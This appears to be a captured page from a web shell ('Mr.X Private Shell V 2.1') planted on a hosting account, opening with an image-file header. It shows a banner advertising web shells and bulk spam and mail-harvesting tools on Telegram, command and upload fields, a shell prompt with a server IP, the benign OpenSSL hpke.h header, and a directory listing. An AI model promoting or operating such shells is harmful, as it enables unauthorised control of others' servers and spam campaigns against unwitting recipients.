����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
/*
 * Copyright 2022-2024 The OpenSSL Project Authors. All Rights Reserved.
 *
 * Licensed under the Apache License 2.0 (the "License").  You may not use
 * this file except in compliance with the License.  You can obtain a copy
 * in the file LICENSE in the source distribution or at
 * https://www.openssl.org/source/license.html
 */

/* APIs and data structures for HPKE (RFC9180)  */
#ifndef OSSL_HPKE_H
#define OSSL_HPKE_H
#pragma once

#include <openssl/types.h>

/* HPKE modes */
#define OSSL_HPKE_MODE_BASE 0 /* Base mode  */
#define OSSL_HPKE_MODE_PSK 1 /* Pre-shared key mode */
#define OSSL_HPKE_MODE_AUTH 2 /* Authenticated mode */
#define OSSL_HPKE_MODE_PSKAUTH 3 /* PSK+authenticated mode */

/*
 * Max for ikm, psk, pskid, info and exporter contexts.
 * RFC9180, section 7.2.1 RECOMMENDS 64 octets but we have test vectors from
 * Appendix A.6.1 with a 66 octet IKM so we'll allow that.
 */
#define OSSL_HPKE_MAX_PARMLEN 66
#define OSSL_HPKE_MIN_PSKLEN 32
#define OSSL_HPKE_MAX_INFOLEN 1024

/*
 * The (16bit) HPKE algorithm ID IANA codepoints
 * If/when new IANA codepoints are added there are tables in
 * crypto/hpke/hpke_util.c that must also be updated.
 */
#define OSSL_HPKE_KEM_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_KEM_ID_P256 0x0010 /* NIST P-256 */
#define OSSL_HPKE_KEM_ID_P384 0x0011 /* NIST P-384 */
#define OSSL_HPKE_KEM_ID_P521 0x0012 /* NIST P-521 */
#define OSSL_HPKE_KEM_ID_X25519 0x0020 /* Curve25519 */
#define OSSL_HPKE_KEM_ID_X448 0x0021 /* Curve448 */

#define OSSL_HPKE_KDF_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_KDF_ID_HKDF_SHA256 0x0001 /* HKDF-SHA256 */
#define OSSL_HPKE_KDF_ID_HKDF_SHA384 0x0002 /* HKDF-SHA384 */
#define OSSL_HPKE_KDF_ID_HKDF_SHA512 0x0003 /* HKDF-SHA512 */

#define OSSL_HPKE_AEAD_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_AEAD_ID_AES_GCM_128 0x0001 /* AES-GCM-128 */
#define OSSL_HPKE_AEAD_ID_AES_GCM_256 0x0002 /* AES-GCM-256 */
#define OSSL_HPKE_AEAD_ID_CHACHA_POLY1305 0x0003 /* Chacha20-Poly1305 */
#define OSSL_HPKE_AEAD_ID_EXPORTONLY 0xFFFF /* export-only fake ID */

/* strings for suite components */
#define OSSL_HPKE_KEMSTR_P256 "P-256" /* KEM id 0x10 */
#define OSSL_HPKE_KEMSTR_P384 "P-384" /* KEM id 0x11 */
#define OSSL_HPKE_KEMSTR_P521 "P-521" /* KEM id 0x12 */
#define OSSL_HPKE_KEMSTR_X25519 "X25519" /* KEM id 0x20 */
#define OSSL_HPKE_KEMSTR_X448 "X448" /* KEM id 0x21 */
#define OSSL_HPKE_KDFSTR_256 "hkdf-sha256" /* KDF id 1 */
#define OSSL_HPKE_KDFSTR_384 "hkdf-sha384" /* KDF id 2 */
#define OSSL_HPKE_KDFSTR_512 "hkdf-sha512" /* KDF id 3 */
#define OSSL_HPKE_AEADSTR_AES128GCM "aes-128-gcm" /* AEAD id 1 */
#define OSSL_HPKE_AEADSTR_AES256GCM "aes-256-gcm" /* AEAD id 2 */
#define OSSL_HPKE_AEADSTR_CP "chacha20-poly1305" /* AEAD id 3 */
#define OSSL_HPKE_AEADSTR_EXP "exporter" /* AEAD id 0xff */

/*
 * Roles for use in creating an OSSL_HPKE_CTX, most
 * important use of this is to control nonce reuse.
 */
#define OSSL_HPKE_ROLE_SENDER 0
#define OSSL_HPKE_ROLE_RECEIVER 1

#ifdef __cplusplus
extern "C" {
#endif

typedef struct {
    uint16_t kem_id; /* Key Encapsulation Method id */
    uint16_t kdf_id; /* Key Derivation Function id */
    uint16_t aead_id; /* AEAD alg id */
} OSSL_HPKE_SUITE;

/**
 * Suite constants, use this like:
 *          OSSL_HPKE_SUITE myvar = OSSL_HPKE_SUITE_DEFAULT;
 */
#ifndef OPENSSL_NO_ECX
#define OSSL_HPKE_SUITE_DEFAULT       \
    {                                 \
        OSSL_HPKE_KEM_ID_X25519,      \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
#else
#define OSSL_HPKE_SUITE_DEFAULT       \
    {                                 \
        OSSL_HPKE_KEM_ID_P256,        \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
#endif

typedef struct ossl_hpke_ctx_st OSSL_HPKE_CTX;

OSSL_HPKE_CTX *OSSL_HPKE_CTX_new(int mode, OSSL_HPKE_SUITE suite, int role,
    OSSL_LIB_CTX *libctx, const char *propq);
void OSSL_HPKE_CTX_free(OSSL_HPKE_CTX *ctx);

int OSSL_HPKE_encap(OSSL_HPKE_CTX *ctx,
    unsigned char *enc, size_t *enclen,
    const unsigned char *pub, size_t publen,
    const unsigned char *info, size_t infolen);
int OSSL_HPKE_seal(OSSL_HPKE_CTX *ctx,
    unsigned char *ct, size_t *ctlen,
    const unsigned char *aad, size_t aadlen,
    const unsigned char *pt, size_t ptlen);

int OSSL_HPKE_keygen(OSSL_HPKE_SUITE suite,
    unsigned char *pub, size_t *publen, EVP_PKEY **priv,
    const unsigned char *ikm, size_t ikmlen,
    OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_decap(OSSL_HPKE_CTX *ctx,
    const unsigned char *enc, size_t enclen,
    EVP_PKEY *recippriv,
    const unsigned char *info, size_t infolen);
int OSSL_HPKE_open(OSSL_HPKE_CTX *ctx,
    unsigned char *pt, size_t *ptlen,
    const unsigned char *aad, size_t aadlen,
    const unsigned char *ct, size_t ctlen);

int OSSL_HPKE_export(OSSL_HPKE_CTX *ctx,
    unsigned char *secret,
    size_t secretlen,
    const unsigned char *label,
    size_t labellen);

int OSSL_HPKE_CTX_set1_authpriv(OSSL_HPKE_CTX *ctx, EVP_PKEY *priv);
int OSSL_HPKE_CTX_set1_authpub(OSSL_HPKE_CTX *ctx,
    const unsigned char *pub,
    size_t publen);
int OSSL_HPKE_CTX_set1_psk(OSSL_HPKE_CTX *ctx,
    const char *pskid,
    const unsigned char *psk, size_t psklen);

int OSSL_HPKE_CTX_set1_ikme(OSSL_HPKE_CTX *ctx,
    const unsigned char *ikme, size_t ikmelen);

int OSSL_HPKE_CTX_set_seq(OSSL_HPKE_CTX *ctx, uint64_t seq);
int OSSL_HPKE_CTX_get_seq(OSSL_HPKE_CTX *ctx, uint64_t *seq);

int OSSL_HPKE_suite_check(OSSL_HPKE_SUITE suite);
int OSSL_HPKE_get_grease_value(const OSSL_HPKE_SUITE *suite_in,
    OSSL_HPKE_SUITE *suite,
    unsigned char *enc, size_t *enclen,
    unsigned char *ct, size_t ctlen,
    OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_str2suite(const char *str, OSSL_HPKE_SUITE *suite);
size_t OSSL_HPKE_get_ciphertext_size(OSSL_HPKE_SUITE suite, size_t clearlen);
size_t OSSL_HPKE_get_public_encap_size(OSSL_HPKE_SUITE suite);
size_t OSSL_HPKE_get_recommended_ikmelen(OSSL_HPKE_SUITE suite);

#ifdef __cplusplus
}
#endif

#endif

Filemanager

Name Type Size Permission Actions
aes.h File 3.23 KB 0644
asn1.h File 56.38 KB 0644
asn1err.h File 5.05 KB 0644
asn1t.h File 37.7 KB 0644
async.h File 2.95 KB 0644
asyncerr.h File 739 B 0644
bio.h File 40.43 KB 0644
bioerr.h File 2.3 KB 0644
blowfish.h File 2.09 KB 0644
bn.h File 21.79 KB 0644
bnerr.h File 1.3 KB 0644
buffer.h File 1.55 KB 0644
buffererr.h File 587 B 0644
byteorder.h File 8.25 KB 0644
camellia.h File 3.19 KB 0644
cast.h File 1.84 KB 0644
cmac.h File 1.42 KB 0644
cmp.h File 46.91 KB 0644
cmp_util.h File 1.59 KB 0644
cmperr.h File 4.71 KB 0644
cms.h File 30.37 KB 0644
cmserr.h File 4.44 KB 0644
comp.h File 4.59 KB 0644
comperr.h File 1002 B 0644
conf.h File 10.14 KB 0644
conf_api.h File 1.3 KB 0644
conferr.h File 1.66 KB 0644
configuration-x86_64.h File 4.36 KB 0644
configuration.h File 1.55 KB 0644
conftypes.h File 1.15 KB 0644
core.h File 7.64 KB 0644
core_dispatch.h File 45.85 KB 0644
core_names.h File 29.14 KB 0644
core_object.h File 1.02 KB 0644
crmf.h File 19.18 KB 0644
crmferr.h File 1.81 KB 0644
crypto.h File 22.58 KB 0644
cryptoerr.h File 1.94 KB 0644
cryptoerr_legacy.h File 46.89 KB 0644
ct.h File 21.72 KB 0644
cterr.h File 1.21 KB 0644
decoder.h File 4.79 KB 0644
decodererr.h File 740 B 0644
des.h File 7.58 KB 0644
dh.h File 12.72 KB 0644
dherr.h File 1.66 KB 0644
dsa.h File 10.72 KB 0644
dsaerr.h File 1.14 KB 0644
dtls1.h File 1.21 KB 0644
e_os2.h File 8.25 KB 0644
e_ostime.h File 1.12 KB 0644
ebcdic.h File 1 KB 0644
ec.h File 60.85 KB 0644
ecdh.h File 361 B 0644
ecdsa.h File 361 B 0644
ecerr.h File 3.28 KB 0644
encoder.h File 4.46 KB 0644
encodererr.h File 741 B 0644
engine.h File 36.66 KB 0644
engineerr.h File 1.99 KB 0644
err.h File 19.96 KB 0644
ess.h File 8.5 KB 0644
esserr.h File 982 B 0644
evp.h File 93.39 KB 0644
evperr.h File 5.4 KB 0644
fips.h File 601 B 0644
fips_names.h File 1.6 KB 0644
fipskey.h File 1.21 KB 0644
hmac.h File 1.85 KB 0644
hpke.h File 5.94 KB 0644
http.h File 4.61 KB 0644
httperr.h File 1.81 KB 0644
idea.h File 2.23 KB 0644
indicator.h File 818 B 0644
kdf.h File 4.98 KB 0644
kdferr.h File 480 B 0644
lhash.h File 32.59 KB 0644
macros.h File 10.47 KB 0644
md2.h File 1.3 KB 0644
md4.h File 1.57 KB 0644
md5.h File 1.57 KB 0644
mdc2.h File 1.28 KB 0644
ml_kem.h File 959 B 0644
modes.h File 7.94 KB 0644
obj_mac.h File 282.74 KB 0644
objects.h File 7.39 KB 0644
objectserr.h File 686 B 0644
ocsp.h File 27.2 KB 0644
ocsperr.h File 1.6 KB 0644
opensslconf.h File 510 B 0644
opensslv.h File 3.37 KB 0644
ossl_typ.h File 561 B 0644
param_build.h File 2.31 KB 0644
params.h File 6.89 KB 0644
pem.h File 22.14 KB 0644
pem2.h File 523 B 0644
pemerr.h File 1.79 KB 0644
pkcs12.h File 16.61 KB 0644
pkcs12err.h File 1.39 KB 0644
pkcs7.h File 21.36 KB 0644
pkcs7err.h File 2.19 KB 0644
prov_ssl.h File 969 B 0644
proverr.h File 6.26 KB 0644
provider.h File 3.3 KB 0644
quic.h File 2.05 KB 0644
rand.h File 3.96 KB 0644
randerr.h File 2.43 KB 0644
rc2.h File 1.73 KB 0644
rc4.h File 1.05 KB 0644
rc5.h File 2.1 KB 0644
ripemd.h File 1.5 KB 0644
rsa.h File 21.78 KB 0644
rsaerr.h File 3.77 KB 0644
safestack.h File 28.47 KB 0644
seed.h File 3.53 KB 0644
self_test.h File 4.61 KB 0644
sha.h File 4.3 KB 0644
srp.h File 14.8 KB 0644
srtp.h File 1.84 KB 0644
ssl.h File 119.35 KB 0644
ssl2.h File 625 B 0644
ssl3.h File 12.45 KB 0644
sslerr.h File 15.05 KB 0644
sslerr_legacy.h File 17.84 KB 0644
stack.h File 3.05 KB 0644
store.h File 13.68 KB 0644
storeerr.h File 1.66 KB 0644
symhacks.h File 1.08 KB 0644
thread.h File 865 B 0644
tls1.h File 61.84 KB 0644
trace.h File 10.57 KB 0644
ts.h File 18.96 KB 0644
tserr.h File 2.03 KB 0644
txt_db.h File 1.6 KB 0644
types.h File 7.13 KB 0644
ui.h File 18.08 KB 0644
uierr.h File 1.04 KB 0644
whrlpool.h File 1.64 KB 0644
x509.h File 65.91 KB 0644
x509_acert.h File 21.41 KB 0644
x509_vfy.h File 46.07 KB 0644
x509err.h File 2.26 KB 0644
x509v3.h File 126.32 KB 0644
x509v3err.h File 3.49 KB 0644